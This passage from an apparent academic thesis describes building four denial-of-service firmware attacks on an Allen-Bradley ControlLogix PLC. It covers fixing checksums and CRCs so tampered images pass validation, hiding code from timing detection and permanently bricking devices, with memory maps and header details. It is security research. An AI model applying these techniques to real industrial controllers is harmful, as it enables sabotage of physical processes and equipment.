general security weaknesses found in SCADA devices. Works discussed include research
on embedded device security followed by research speciﬁcally focused on PLC security
issues. Current research into embedded device attacks were then discussed to highlight
how the weaknesses in SCADA devices might be exploited by malicious attackers.
Finally, the chapter concludes with a discussion on previous reverse engineering research.
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III. Methodology
This chapter describes the methodology used to evaluate the research problem. The
methodology includes the deﬁnition of the problem, a description of the tools, the process
of building the repackaged ﬁrmware, and a description of the tests for analyzing PLC
performance.
3.1 Problem Deﬁnition
3.1.1 Goals and Hypothesis.
The intended outcome of this research is to develop measures for protecting
Industrial Control System (ICS) devices by highlighting possible inherent weaknesses
in the design of the PLC ﬁrmware. The primary goal of this research is to determine the
feasibility of developing a repackaged ﬁrmware attack against a PLC to undermine the
operation and achieve a desired malicious eﬀect. Once installed, the repackaged ﬁrmware
is evaluated for correct operation of the attack. If the attack operates as expected, the
repackaged ﬁrmware is evaluated for stability by operating without fault for a minimum
of eight hours. If the repackaged ﬁrmware remains stable, its performance is compared
to the performance of the unmodiﬁed ﬁrmware to determine if changes to the ﬁrmware
cause diﬀerences in execution times.
PLCs typically rely on the inherent trust for ﬁrmware veriﬁcation based on the
CRC and checksum as a validity tool [8]. After a ﬁrmware image is loaded to a PLC,
the checksum and CRC are tested to verify that the ﬁrmware is not corrupted. The
tests, however, provide no capability to detect intentional tampering [8]. This research
hypothesizes that PLC targeted attacks are feasible and that the execution time of the
repackaged ﬁrmware can be designed to match unmodiﬁed ﬁrmware by controlling the
type and location of injected instructions.
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3.1.2 Approach.
While the primary goal of the experiment is to test the feasibility of developing,
deploying and concealing a PLC ﬁrmware repackaging attack, there are three sub goals
necessary to supporting the primary goal. First, the device is reverse engineered to match
disassembled code to known device functions. Next, inserted instructions must function
properly and remain stable. Finally, during the repackaging of the ﬁrmware, the checksum
and CRC are updated to pass validation checks.
Figure 3.1: Development Process Outline.
As shown in Figure 3.1, the research is conducted in three stages: reverse
engineering, attack development, and performance analysis. Reverse engineering uses
hardware and ﬁrmware analysis to determine the structure of the ﬁrmware image. Attack
development includes the tasks needed to modify the ﬁrmware image to execute the
DoS attack. Attack development also includes functional evaluation of the attacks. In
performance analysis both the unmodiﬁed and repackaged ﬁrmwares execute a process
program. As both ﬁrmware images complete iterations of the process program, the time
to complete the iteration is recorded. The mean program execution times from both
ﬁrmware images are compared to determine if the additions to the repackaged ﬁrmware
impact program execution times. Execution time comparisons are done using timing
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side-channel analysis techniques developed by Dunlap [20]. Where possible, attack
code makes use of primarily dormant execution paths to escape detection under normal
operating conditions.
Figure 3.2: PLC Device Hierarchy.
All developed attacks execute a DoS attack against ControlLogix 1756-L61 PLC.
However, the method used to trigger the DoS attack diﬀers for each attack. Four DoS
attacks are developed to replicate one of the several types of attacks proposed by Peck
[40]. The ﬁrst three attacks are non-persistent DoS attacks since the ControlLogix 1756-
L61 PLC can be restored by either a power cycle or using the mode change key to switch
modes between RUN and PROGRAM twice, clearing the fault. No permanent damage
is done to the ControlLogix 1756-L61 PLC when the non-persistent attack is executed.
The fourth attack is considered a persistent DoS attack because the PLC is modiﬁed in
a manner that prevents recovery. The PLC requires modiﬁcation using JTAG to restore
it to a functional state. Note that the attacks developed in this experiment focus only on
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modifying the PLC ﬁrmware, which provides the interface between the PLC hardware
and programming area as shown in Figure 3.2 [8]. The repackaged ﬁrmwares execute a
DoS attack under the following conditions.
1. Force the ControlLogix 1756-L61 PLC to terminate operation after a pre-
determined amount of time. This attack executes based on the value of an iterator
that counts down once the ControlLogix 1756-L61 PLC begins operation. This
attack is heretofore referred to as the time based non-persistent DoS attack.
2. Force the ControlLogix 1756-L61 PLC to terminate operation after a mode change
command is sent. This attack executes after the ControlLogix 1756-L61 PLC mode
is switched between REMOTE RUN and REMOTE PROGRAM four times. Note
that the count is arbitrary and alterable. This attack is heretofore referred to as the
mode change based non-persistent DoS attack.
3. Force the ControlLogix 1756-L61 PLC to terminate operation after a custom
CIP command is sent. This attack executes when triggered by a customized CIP
command. The CIP command uses normally unused codes to avoid interfering with
legitimate commands. This attack is heretofore referred to as the CIP based non-
persistent DoS attack.
4. Force the ControlLogix 1756-L61 PLC to terminate operation using a custom CIP
command, and make a permanent modiﬁcation to ﬂash memory that will prevent
recovery by the owner. This attack uses the same mechanism as the CIP based
non-persistent DoS but adds a persistent component by writing a sentinel to ﬂash
memory that survives a power cycle. In addition to testing for the customized CIP
command, this attack also tests ﬂash memory for the sentinel value. This attack is
heretofore referred to as the CIP based persistent DoS attack.
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The ControlLogix 1756-L61 PLC polls each attached sensor, collects data, and
then acts on that data. The ﬁrmware contains a primary loop that runs continuously,
polls attached devices, and takes actions based on the inputs collected during the polling
cycle. When inserting modiﬁed instructions, it is necessary to determine the location
of the primary loop, or a function that executes during the loop. When inserted, the
instructions can run continuous tests, divert control based on the results, and take action.
To successfully carry out the four DoS attacks, it is necessary to determine the primary
loop, methods used to read/write to non-volatile storage, and methods that interpret
external commands.
3.2 Environment
The development environment consists of a collection of tools necessary to
both analyze the existing ﬁrmware, and develop the attack. The ﬁrmware image and
ControlLogix 1756-L61 PLC are also components of the development environment.
3.2.1 PLC and Firmware Speciﬁcations.
The attacks developed in this research function on the Allen-Bradley ControlLogix
1756-L61 PLC manufactured by Rockwell Automation. This PLC uses an ARM7TDMI
CPU architecture [8], contains 2MB of user memory, and 478KB of I/O memory
[47]. ControlLogix 1756-L61 PLC ﬁrmware revision number 19.15.25 is the base
unmodiﬁed ﬁrmware version used in this research. All repackaged ﬁrmware revisions are
alterations of this base unmodiﬁed ﬁrmware image. This baseline version is available with
registration from the Allen-Bradley website [44]. Other Allen-Bradley support equipment
needed by the ControlLogix 1756-L61 PLC include the 1756 PA72/C power supply,
1756-A7 chassis, and the 1756-ENBT Ethernet module for network connectivity.
3.2.2 Deployment Tools.
Existing Allen-Bradley programs are used to deploy repackaged ﬁrmware images
to the PLC. The Allen-Bradley RSLinx program is required to communicate with
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other Allen-Bradley devices connected to a network. Note that RSLinx only manages
communication with the PLC and performs no validation of the ﬁrmware image. The
Allen-Bradley ControlFLASH program is used to manage and send updated ﬁrmware
images to the PLC. ControlFLASH relies on validity checks embedded in the ﬁrmware
image and supporting ﬁles [8]. RSLogix 5000 from Allen Bradley is the ladder logic
programming environment for the ControlLogix 1756-L61 PLC. Allen-Bradley uses
ladder logic as the programming language for process control programs.
3.2.3 Firmware Analysis Tools.
The following tools are used to disassemble and trace the ﬁrmware images. IDA
Pro from Hex Rays is the disassembler used to analyze the ﬁrmware. IDA Pro supports
multiple ARM CPU instruction sets including ARM7TDMI which is the architecture used
by the ControlLogix 1756-L61 PLC. Additional scripts built by Basnight et al. extend
the functionality of IDA Pro and automate some analysis tasks [8]. The extension scripts
search for known function prologues in ARM assembly to identify possible subroutines,
and attempt to name functions by searching for function name strings used by a generic
error handling routine in the ﬁrmware image.
ARM Development Studio v5 and Realview ICE, both developed by ARM Holdings
PLC, provide hardware debugging capability. As shown in Figure 3.3, the debugger can
trace instructions, read sections of memory, capture and restore memory segments, and
alter register values by connecting to the available JTAG interface on the ControlLogix
1756-L61 PLC. These functions make it possible to recover the device in case of a fault
and execute speciﬁc areas of the ﬁrmware for testing.
3.2.4 Assembly Development Tools.
Assembly development is accomplished using an ARM cross compiler available in
the GNU arm-linux-gnueabi package for linux [1]. Two locally developed scripts
insert the output from the cross compiler into the target malware. The ﬁrst script writes
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Figure 3.3: JTAG Interface.
the generated assembly instructions into the ﬁrmware beginning at the speciﬁed start
address. The second script is a calculator for ARM assembly jump instructions used to
modify existing jump instructions to point to desired locations.
3.2.5 Performance Analysis Tools.
Utilities developed by Dunlap provide the infrastructure for collecting and analyzing
process program execution times [20]. The utilities automate the process of deploying
ﬁrmware images and process programs. Additionally, the testing utilities use CIP
commands to request execution time data during normal ControlLogix 1756-L61 PLC
operation and record the data for later analysis. R from the R Foundation is used to test
process program execution times collected from both the unmodiﬁed and repackaged
ﬁrmwares for statistically signiﬁcant diﬀerences.
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3.3 Reverse Engineering Eﬀort
The reverse engineering eﬀort includes the tasks necessary to build the device
attacks. Reverse engineering is divided into three tasks. The ﬁrst task is the tool and
ﬁrmware acquisition as previously discussed. The second task is hardware analysis which
attempts to ﬁnd clues about the operation of the device from the types of components
used in its construction. The third task is ﬁrmware analysis where the ﬁrmware image
is disassembled and analyzed.
3.3.1 Hardware Analysis.
Hardware analysis produces information necessary to identify the instruction
set used in the ﬁrmware image. The ﬁrst task is determining the architecture of the
primary CPU through part number research or previous work [8, 48]. Other tasks include
obtaining information about the attached hardware to infer interactions with the ﬁrmware
image. For example, knowledge of the type of ﬂash memory used in the device provides
clues about the types of control codes referenced in the ﬁrmware image. Information
about the control codes aids identiﬁcation of methods that read from or write to ﬂash
memory. Knowing the ICs on the board can aid in understanding the operation of the
ControlLogix 1756-L61 PLC and how the PLC interacts with the installed ﬁrmware.
Information about such interactions aids attack development.
There are several tasks accomplished for hardware analysis that occur in conjunction
with ﬁrmware analysis. The types of memory used in volatile and non-volatile storage are
identiﬁed along with the mapping of memory layout to determine the base address of the
ﬁrmware, location of the stack, and location of any critical ﬁles, vectors, or ﬂags used by
the ﬁrmware image. Knowledge of these items provide possible exploitable areas of the
ﬁrmware that can be used in the repackaging attacks.
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3.3.2 Firmware Analysis.
Firmware analysis is accomplished using both static and dynamic analysis. A
thorough understanding of the ﬁrmware image’s normal operations helps to craft an attack
that does not interfere with the operation of the ControlLogix 1756-L61 PLC except when
desired.
During static analysis, the ﬁrmware image is examined using IDA Pro to identify
the ﬁrmware entry point, symbol tables, functions, subroutines, and ﬁxed ﬁelds in a ﬁle
header. During static analysis it is critical to identify the entry point and correct base
address for the ﬁrmware image to determine the startup execution path for the PLC.
This allows IDA Pro to accurately build cross-references between jump locations where
relative addressing is not used. The ﬁrmware image requires additional analysis using
IDA Pro extensions to identify all possible functions or subroutines by searching the
ﬁrmware image for known function prologues such as stack pushes [48]. Firmware
analysis also entails identifying strings in the ﬁrmware image that may indicate function
names or a symbol table that can be used to associate discovered functions with an actual
name.
With an understanding of the structure and ﬂow of the ﬁrmware image, it is possible
to identify areas of the ﬁrmware image that can be exploited in the attack, such as
error or fault handling routines. Since instructions are added to the ﬁrmware image, a
point in the image is identiﬁed for insertion. ARM assembly makes extensive use of
relative addressing for calculating program jumps and data locations. Because of the
use of relative addressing, instructions cannot be inserted. The new instructions must
overwrite existing instructions/data or be added to an area of the ﬁrmware image that is
not addressed elsewhere.
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3.4 Attack Development
During attack development, the necessary ARM instructions are developed and
inserted into the ﬁrmware image in a safe location that does not overwrite existing
instructions. The checksum and CRC in the repackaged ﬁrmware are updated to pass
validation checks and appear as a legitimate ﬁrmware update. Once the repackaged
ﬁrmware image is installed, the attack functions are checked to ensure proper operation,
and ControlLogix 1756-L61 PLC stability is evaluated with each of the repackaged
ﬁrmware images.
3.4.1 Assembly and Firmware Modiﬁcation.
ARM instructions are assembled into a relocatable ﬁle using the ARM cross-
compiler conﬁgured for the ARM7TDMI architecture. The relocatable format generated
by the cross-compiler will not function on the ControlLogix 1756-L61 PLC without
modiﬁcation. The header information and symbol table are removed leaving only the
opcodes and data. The extracted opcodes are written to the ﬁrmware image. Next, all
jump instructions requiring modiﬁcation are adjusted to correctly redirect execution. The
oﬀsets to the correct instruction are recomputed and the opcode altered using a hex editor.
The structure of ARM opcodes is required for correct modiﬁcation, which are readily
available from the ARM Information Center [6].
The four DoS attacks are each structured diﬀerently. The time based non-persistent
DoS attack uses a hook that replaces a function call used continuously in the ﬁrmware
image. Each call to the hooking function decrements an iterator. When the iterator
reaches zero, execution redirects to the failure path and the ControlLogix 1756-L61 PLC
faults. There is some variability in the amount of time needed to decrement the iterator to
zero since external factors not evaluated during this research may aﬀect the execution rate
of the hooked function. This time based non-persistent DoS attack only requires a point
where execution ﬂow can be safely redirected.
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The mode change based non-persistent DoS attack counts changes between
REMOTE RUN and REMOTE PROGRAM and selects the fault path once the count is
reached. The mode change based non-persistent DoS attack diﬀerentiates between remote
mode changes and physical mode changes made with the front panel switch.
The CIP based non-persistent DoS attack intercepts CIP identity objects and tests for
custom codes attached to the identity object. If the test is successful, the ControlLogix
1756-L61 PLC faults. The CIP based non-persistent DoS attack uses the CIP object
handling function in the ﬁrmware image to capture CIP objects.
The CIP based persistent DoS attack adds the persistent component by writing a
sentinel value to non-volatile storage; otherwise, the activation method for the CIP based
persistent DoS attack matches its non-persistent counterpart. The sentinel value in non-
volatile storage is tested after a reset preventing the ControlLogix 1756-L61 PLC owner
from recovering the device. The constant resets prevent stable operation and blocks
attempts to upload an unmodiﬁed ﬁrmware image. The attack instructions use the existing
ﬂash writing function to write data to ﬂash memory.
Once instruction modiﬁcation of the ﬁrmware image is complete, the checksum
and CRC are updated to pass validation tests. Checksum and CRC changes are made
in accordance with procedures developed by Basnight et al. [8]. The ﬁrmware image
is staged in the normal deployment directories used by ControlFlash and pushed to the
ControlLogix 1756-L61 PLC for testing.
3.4.2 Deployment and Evaluation.
Each repackaged ﬁrmware is evaluated for functionality and stability. Repackaged
ﬁrmwares are pushed to the ControlLogix 1756-L61 PLC using ControlFLASH. Once
installed, each repackaged ﬁrmware must operate normally, and unexpected device
failures must not occur if the attack has not been triggered. Stability is evaluated by
installing each repackaged ﬁrmware on the ControlLogix 1756-L61 PLC and running
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the PLC uninterrupted for a minimum of eight hours. If the ControlLogix 1756-L61
PLC operates without fault during the eight hours, the repackaged ﬁrmware is considered
stable.
For the purposes of this evaluation, normal operation, device faults, and stability
require speciﬁc deﬁnitions.
• During functional evaluation, normal operation is determined using the status of the
front panel OK light. If the front panel OK light remains green, the ControlLogix
1756-L61 is operating normally and the ﬁrmware remains functional. The front
panel OK light is used as a status indicator during functional evaluation and
performance analysis. No process program is executed by the ﬁrmware during
functional evaluation. During performance analysis, a process program is executed
by the ﬁrmware. For both evaluations, a green front panel OK light indicates
normal operation.
• If the front panel OK light switches to solid red, a major fault has caused the
ControlLogix 1756-L61 PLC to halt and reset. Once the reset is complete, the front
panel OK light changes from solid red to blinking red. The blinking red indicates
that the ControlLogix 1756-L61 PLC requires a reset using the front panel mode
switch or a power cycle. This type of fault is generated by the attacks in each
repackaged ﬁrmware. During functional evaluation, such a fault should occur only
when the attack is executed.
• Stability is deﬁned as uninterrupted normal operation indicated by a green front
panel OK light. Only the ﬁrmware is executed during stability evaluation, no
process control program is loaded on the ControlLogix 1756-L61 PLC. The eight
hour stability evaluation period was chosen because it exceeds acceptance testing
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times used in some control system installations which can range from two to six
hours depending on system type [13].
The time based non-persistent DoS attack is evaluated at 3 time amounts. Pilot
tests show that the exploited function hooked by the iterator and fault test executes
approximately 1200 times per minute. The three time amounts evaluated are one minute,
ten minutes, and one hour. Therefore, using the execution rate of the hooked function, the
iterator values are set to 1200, 12000, and 72000 respectively. The ControlLogix 1756-
L61 PLC must fault at the expected amount of time to pass. Once the fault is generated,
the ControlLogix 1756-L61 is power cycled to clear the fault. If all three evaluations pass,
the iterator is set to 16777216 which is a large enough number to allow the ConrolLogix
1756-L61 PLC to run for the duration of the stability evaluation. After the iterator is
altered and the repackaged ﬁrmware is installed, the ControlLogix 1756-L61 PLC runs
for eight continuous hours. If no faults are generated, the repackaged ﬁrmware containing
the time based non-persistent DoS is considered stable.
The mode change based non-persistent DoS attack is evaluated under three
conditions. The ﬁrst condition veriﬁes that the ControlLogix 1756-L61 PLC faults
after four alternating remote mode changes. The second condition veriﬁes that mode
changes using the ControlLogix 1756-L61 front panel switch do not cause a fault. The
third condition is the stability evaluation. To evaluate the ﬁrst condition, the repackaged
ﬁrmware is installed to the ControlLogix 1756-L61 PLC where it is allowed to stabilize
for 60 seconds. Once stabilized, the four mode changes are sent using the RSLOGIX
5000 program. The mode changes must alternate between REMOTE RUN and REMOTE
PROGRAM starting with a switch from REMOTE PROGRAM to REMOTE RUN. After
the mode change sequence is sent, the ControlLogix 1756-L61 PLC must fault. The
fault is cleared using a power cycle. To evaluate the second condition, the ControlLogix
1756-L61 PLC is again allowed to stabilize for 60 seconds. Once stabilized, the front
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panel mode switch, shown in Figure 3.4, is alternated between PROGRAM and RUN a
minimum of eight times in less than 60 seconds. No faults should be generated during the
mode changes. Once complete, the ControlLogix 1756-L61 PLC runs continuously for
eight hours. If no faults are generated, repackaged ﬁrmware containing the mode change
based non-persistent DoS is considered stable.
Figure 3.4: Front Panel Mode Change Switch.
The CIP based non-persistent DoS attack is evaluated under three conditions. The
ﬁrst condition veriﬁes that the ControlLogix 1756-L61 PLC faults after receiving a
modiﬁed CIP identity object command. The second condition veriﬁes that a valid CIP
identity object command does not cause a fault. The third condition is the stability
evaluation. To evaluate the ﬁrst condition, the repackaged ﬁrmware is installed to the
ControlLogix 1756-L61 PLC where it is allowed to stabilize for 60 seconds. Once
stabilized, the modiﬁed CIP identity object command is sent using a locally developed
program. The modiﬁed CIP identity object command must cause the ControlLogix
1756-L61 PLC to fault. The fault is cleared using a power cycle. To evaluate the second
condition, the ControlLogix 1756-L61 PLC is allowed to stabilize for 60 seconds. Once
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stabilized, a valid CIP identity object command is sent which should not cause a fault. If
all conditions pass, the ControlLogix 1756-L61 PLC runs continuously for eight hours
with the repackaged ﬁrmware installed. If no faults are generated, repackaged ﬁrmware
containing the CIP based non-persistent DoS is considered stable.
The CIP based persistent DoS attack is evaluated under four conditions. The ﬁrst
condition veriﬁes that the ControlLogix 1756-L61 PLC faults after receiving a modiﬁed
CIP identity object command. The second condition evaluates persistence and veriﬁes
that the fault remains after both a mode change reset and a power cycle. The third
condition veriﬁes that a valid CIP identity object command does not cause a fault. The
fourth condition is the stability evaluation. To evaluate the ﬁrst condition, the repackaged
ﬁrmware is installed on the ControlLogix 1756-L61 PLC where it is allowed to stabilize
for 60 seconds. Once stabilized, the modiﬁed CIP identity object command is sent using
a locally developed program. The modiﬁed CIP identity object command must cause
the ControlLogix 1756-L61 PLC to fault. The second condition is evaluated ﬁrst by
attempting the mode change switch reset method. If the fault does not clear, a power
cycle is attempted. If the fault remains after the power cycle, the CIP based persistent
DoS attack passes the second condition and is considered persistent. The ControlLogix
1756-L61 PLC is restored by erasing the altered portion of ﬂash memory using the JTAG
interface and debugger. To test the third condition, after restoration, the ControlLogix
1756-L61 PLC is allowed to stabilize for 60 seconds. Once stabilized, a valid CIP
identity object command is sent which should not cause a fault. If all conditions pass,
the ControlLogix 1756-L61 PLC is run continuously for eight hours with the repackaged
ﬁrmware installed to evaluate stability. If no faults are generated, repackaged ﬁrmware
containing the CIP based persistent DoS is considered stable.
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3.5 Performance Analysis
SCADA systems are considered real-time devices and as such must meet timing
requirements [11]. The attacks developed in this research are not feasible if they cause
the ControlLogix 1756-L61 PLC to deviate by a statistically signiﬁcant amount from
expected execution times. Indeed, such a device would likely be replaced or reloaded
before the attack could be executed. This ﬁnal experiment evaluates each attack to
determine its impact on process program execution time. To evaluate performance, each
repackaged ﬁrmware is given a process program as a workload, and the time needed
to complete the workload is recorded by a data collection tool. The collected times are
compared to the performance of an unmodiﬁed ﬁrmware image to determine the impacts
to performance.
3.5.1 Workload.
To examine the performance of the repackaged ﬁrmwares, each one must be
placed under the load of a process program. For the repackaged ﬁrmware installed on
a ControlLogix 1756-L61 PLC, the process program is a ladder logic project designed
to control an industrial process. In this experiment two ladder logic projects are used
to evaluate the performance of the ControlLogix 1756-L61 at two diﬀerent workload
level, small and large. The ladder logic projects are the two used by Dunlap to evaluate
timing based side channel analysis for detecting anomalies in ﬁrmware [20]. The ﬁrst
ladder logic project is the small workload. This project contains three steps and was found
by Dunlap to have a mean execution time of less than 110μs. The second ladder logic
project ﬁle is the large workload. This project contains 32 steps repeated 115 times and
was found by Dunlap to have a mean execution time of greater than 3000μs.
3.5.2 Data Collection Environment and Process.
Data collection is performed using software installed on a Windows XP workstation.
RSLinx provides communication between the Windows XP workstation and the
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ControlLogix 1756-L61 PLC via the 1756-ENBT Ethernet Module. Firmware installation
and data collection are done using software developed by Dunlap [20]. Firmware
installation is automated by duplicating CIP commands used by ControlFLASH which
is the Allen-Bradley supplied program used for ﬁrmware installation. Using a CIP
command, the data collection software polls the ControlLogix 1756-L61 PLC every
250ms and requests the most recent process program execution time. Both the ﬁrmware
installation process and data collection are automated to eliminate human error during
the collection process and ensure that stabilization times are consistent. The basic
conﬁguration of the test equipment is shown in Figure 3.5 and the following list speciﬁes
the equipment used to conduct this evaluation:
• ControlLogix 1756-L61 PLC,
• Combined 1756 PA72/C power supply and 1756-A7 chassis,
• 1756-ENBT Ethernet module,
• Cisco 5-port Ethernet Switch, and
• Windows XP Workstation.
To analyze the performance of each of the repackaged ﬁrmware images, process
program execution times are collected from the ControlLogix 1756-L61 PLC and stored
as a collected data set. During data collection, the attack function in the repackaged
ﬁrmware image is not executed. Note that the collection steps are the same regardless of
ﬁrmware image. The steps to collect the data are as follows.
1. Install the ﬁrmware image on the ControlLogix 1756-L61 PLC.
2. Stabilize for a minimum of 60 seconds.
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Figure 3.5: Experiment Equipment Conﬁguration.
3. Install the process program on the ControlLogix 1756-L61 PLC.
4. Stabilize for a minimum of 60 seconds.
5. Activate data collection software.
6. Collect 10,000 total time measurements.
7. Store captured data set to a ﬁle.
The collection process is executed using the unmodiﬁed ﬁrmware image and two
workloads generating two data sets. The collection process is repeated for each of the
four repackaged ﬁrmware images using the same small and large workload generating
a total of eight data sets. The entire collection process generates a total of ten data sets.
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The unmodiﬁed ﬁrmware execution times form the baseline to which execution times
collected from the repackaged ﬁrmware images are compared.
3.5.3 Analysis.
Analysis consists of comparing the data set collected from a speciﬁc repackaged
ﬁrmware image and workload level to its corresponding unmodiﬁed ﬁrmware and
matching workload data set. A total of eight results are generated during evaluation,
one result from each repackaged ﬁrmware at each workload level. The comparison test
uses the decision algorithm developed by Dunlap which is a one-way permutation test
using 9999 Monte-Carlo resamplings [20]. The decision algorithm generates a p-value
for each comparison. The p-value threshold for signiﬁcance set by Dunlap is 0.0001.
The null hypothesis is that there is no performance diﬀerence between the unmodiﬁed
and repackaged ﬁrmware. The alternative hypothesis is that the modiﬁcations in the
repackaged ﬁrmware incur a performance penalty. The null hypothesis is rejected for
any result below the threshold for signiﬁcance. No changes are made to the decision
algorithm or detection threshold for this experiment and outliers are removed during
analysis using a decision algorithm setting.
Any result that falls below the threshold of signiﬁcance indicates that changes made
to the repackaged ﬁrmware impact the performance of the ControlLogix 1756-L61 PLC
when completing iterations of the process program. In such cases, the changes made
to implement the attack should be evaluated for eﬃciency, or moved to an alternate
execution path if possible.
3.6 Methodology Summary
This research determines if it is possible to maliciously modify the ControlLogix
1756-L61 PLC ﬁrmware, build a useful exploit, and function without aﬀecting
performance when executing a process program. The research is conducted in three
steps: reverse engineering, attack development, and performance analysis. Reverse
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engineering is used to understand the structure of the ﬁrmware and ﬁnd exploitable
regions. During attack development, the exploit is added to the ﬁrmware. The ﬁrmware
is then repackaged, installed on the ControlLogix 1756-L61 PLC and evaluated for
functionality. Finally, the performance of the repackaged ﬁrmware is compared to the
unmodiﬁed ﬁrmware using a process program as a workload.
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IV. Results
This chapter describes the results of the research. The ﬁrst section details the
information found during reverse engineering used to build the attacks. The second
section describes the attack development process and results of the attack evaluation. The
ﬁnal section presents the results of the performance analysis.
4.1 Reverse Engineering Results
This section describes the results of reverse engineering ﬁrmware version number
19.15.25 developed by Allen-Bradley for use on the ControlLogix 1756-L61 PLC. This
ﬁrmware version is the base unmodiﬁed ﬁrmware image used in the development of all
attacks described in this chapter. This section includes the results of the hardware and
ﬁrmware analysis, and a description of the usable areas of the unmodiﬁed ﬁrmware found
as a result of the analysis.
4.1.1 Hardware Analysis Results.
Proper CPU identiﬁcation allows the disassembler to correctly interpret instructions
in the unmodiﬁed ﬁrmware image and is a critical ﬁrst step in the reverse engineering
process. The primary CPU is labeled as ARM, but does not contain an identiﬁable
product number. The ARM label alone is an indicator that narrows the possible
instruction sets. IDA Pro uses a generic ARM setting for the instruction set with further
reﬁnement through additional conﬁguration for a speciﬁc ARM version. Basnight et al.
previously identiﬁed the ControlLogix 1756-L61 PLC core as an ARM7TDMI which is a
version of the ARMv4T architecture [8]. Veriﬁcation is accomplished using the RealView
ICE debugger auto-conﬁguration tool to test for speciﬁc ARM architectures.
Basnight identiﬁed the ﬂash memory IC used in the ControlLogix 1756-L61 PLC as
Numonyx J3 65nm Single Bit Per Cell (SBC) ﬂash memory [7]. Veriﬁcation of the part
46
number on the IC (640J3F75) conﬁrms the identiﬁcation. The Numonyx data sheet for
the on-board ﬂash memory device provides the control signal values used to place the
ﬂash memory in read/write/erase mode [35]. Section 11 of the data sheet lists command
codes. Code 0xFF is the read array command and is used during read operations. Code
0x20 is the block erase command which is followed by a 0xD0 command code to
conﬁrm the erase command. Code 0xE8 is the buﬀered program command code and
is used when writing to ﬂash. The buﬀered program code must be followed by a 0xD0
conﬁrmation code. These codes are used as search terms in IDA Pro when searching for
ﬂash read/write/erase operations.
ControlLogix 1756-L61 PLC ﬁrmware is updated using the ControlFLASH program
[44]. Loading of the ﬁrmware image to the ControlLogix 1756-L61 PLC is accomplished
using CIP objects used for data delivery. Examination reveals that a new ﬁrmware image
is written to ﬂash initially. After the ﬁrmware load is completed, ControlFLASH resets
the CPU and waits for a response from the ControlLogix 1756-L61 PLC to indicate
a successful upgrade. If the load is successful, but the ﬁrmware image is determined
corrupt or is incomplete, the ControlLogix 1756-L61 PLC reverts to a default ﬁrmware
and ControlFLASH reports a load failure.
4.1.2 Firmware Analysis.
Static and dynamic analysis provide knowledge of the structure and function of the
ﬁrmware image. Static analysis is accomplished primarily using the disassembly tools
available in IDA Pro. The JTAG interface available on the ControlLogix 1756-L61 PLC,
ARM Development Studio v5 and Realview ICE hardware debugger provide the means to
perform dynamic analysis.
4.1.2.1 Static Analysis.
Static analysis is performed using the disassembly of the unmodiﬁed ﬁrmware image
generated by IDA Pro. The base address is set to 0xD00000 in IDA during the initial
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import matching the base address in RAM where the unmodiﬁed ﬁrmware resides after
startup of the ControlLogix 1756-L61 PLC [7]. Using the correct base address ensures
that IDA Pro provides a more complete analysis of the unmodiﬁed ﬁrmware image.
Indeed, when the correct base address is used, IDA Pro is able to build accurate cross-
references in instances where the address reference uses absolute addresses rather than
oﬀsets in the unmodiﬁed ﬁrmware image.
The ControlLogix 1756-L61 PLC performs two validations on the ﬁrmware image
to verify correctness. Both validation methods were reverse engineered by Basnight et
al. [8]. The checksum is performed ﬁrst during the ControlLogix 1756-L61 PLC startup
procedure. Every byte of the ﬁrmware image is summed. The result of the summation
and the checksum, which is the last four bytes of the ﬁrmware image, must give a result
of 0x12345678. The CRC value is stored in the word prior to the checksum value in the
ﬁrmware image. The CRC is calculated using the CRC-32 algorithm in IEEE 802.3 [35].
To compute the CRC, the ﬁrmware image is divided into three separate divisions: the
image ﬁle minus the eight validation bytes at the end; the amount of padding expected
after the validation bytes; and the CRC value contained in the validation bytes. The
checksum value is not used in the CRC calculation. The padding size is calculated by
subtracting the actual ﬁle size of the ﬁrmware image from the available space which, as
shown in Figure 4.1, is speciﬁed at word six in the ﬁrmware image header.
The beginning of the unmodiﬁed ﬁrmware image contains a 28 byte header
that contains the initial jump to the ﬁrmware image entry point, ﬁrmware validation
information, and the size of the ﬁrmware image block. Figure 4.1 shows the structure of
the ﬁle header.
The ﬁrst ﬁeld of the header contains the initial jump instruction. The second ﬁeld
contains the ﬁrmware image version number and can be altered to any desired value. The
checksum total ﬁeld is used in the checksum calculation. The RAM load location tells
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Figure 4.1: Firmware Image Header Structure.
the executive loader where to store the ﬁrmware image in RAM. Finally the block size
indicates the total size of the ﬁrmware image and padding. The ﬁrmware image is smaller
than the block size, and any remaining space is padded with repeating bytes of 0xFF.
The initial import into IDA Pro leaves multiple areas of the unmodiﬁed ﬁrmware
image unprocessed. Using IDA scripts developed by Santamarta and modiﬁed by
Basnight, the unmodiﬁed ﬁrmware image is rescanned to identify function prologs
[7, 48]. The prolog is the ARM opcode for storing multiple registers to the stack and is
the hexadecimal string 0x2D 0xE9. Rescanning the unmodiﬁed ﬁrmware image using this
script achieves results similar to Basnight [7] and identiﬁes the majority of the remaining
instructions.
The identiﬁed subroutines are labeled by IDA Pro using generic placeholder names.
Basnight et al. found that many functions in the image contain references to their own
names which are passed to a logging function in the event of a fault [8]. By using the
internal references, 959 of the 7591 identiﬁed subroutines are renamed. Note that the
names of the functions provide insight about their purpose.
Notable areas in memory include the location of the stack, location of the unmodiﬁed
ﬁrmware image in volatile memory, and identiﬁable sections of non-volatile storage.
The stack in memory on the ControlLogix 1756-L61 PLC grows upwards, but does
not start at the high address in memory and appears to reside entirely within the ﬁrst
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65KB of memory. The general location of the stack is determined by monitoring the
memory values in the sp register, however, the exact value of the stack base is unknown.
The unmodiﬁed ﬁrmware image executes from RAM and resides in memory between
addresses 0xD00000 and 0xF80000. Non-volatile storage is addressed in unmodiﬁed
ﬁrmware in the address space of 0xB000000 to 0xB800000. Within ﬂash, the bootloader
resides at address 0xB000000 to 0xB00066B, a default ﬁrmware image resides at address
0xB020000 to 0xB1806F3, and the installed unmodiﬁed ﬁrmware image resides at
address 0xB1A0000 to 0xB420000. An XML ﬁle containing device speciﬁc conﬁguration
data resides in ﬂash starting at address 0xB7E0000. The use of addresses in ﬁrmware
indicates blocks starting at 0x8010000 are used to set or read status from hardware
locations; however, the exact function of the individual values could not be determined,
with the exception of a hardware status monitor located at address 0x801028C. Front
panel lights are set by writing the appropriate value to address 0x4C000000, indicating
memory mapped I/O.
Initial device startup is a three step process consisting of a boot loader, an executive
loader, and transition to unmodiﬁed ﬁrmware control [8]. The boot loader and executive
loader map memory to the speciﬁed address space, and copy the unmodiﬁed ﬁrmware
into RAM. During startup, RAM is mapped to the address space 0x0 to 0xFFFFFF.
The unmodiﬁed ﬁrmware image is loaded into RAM by the executive loader starting at
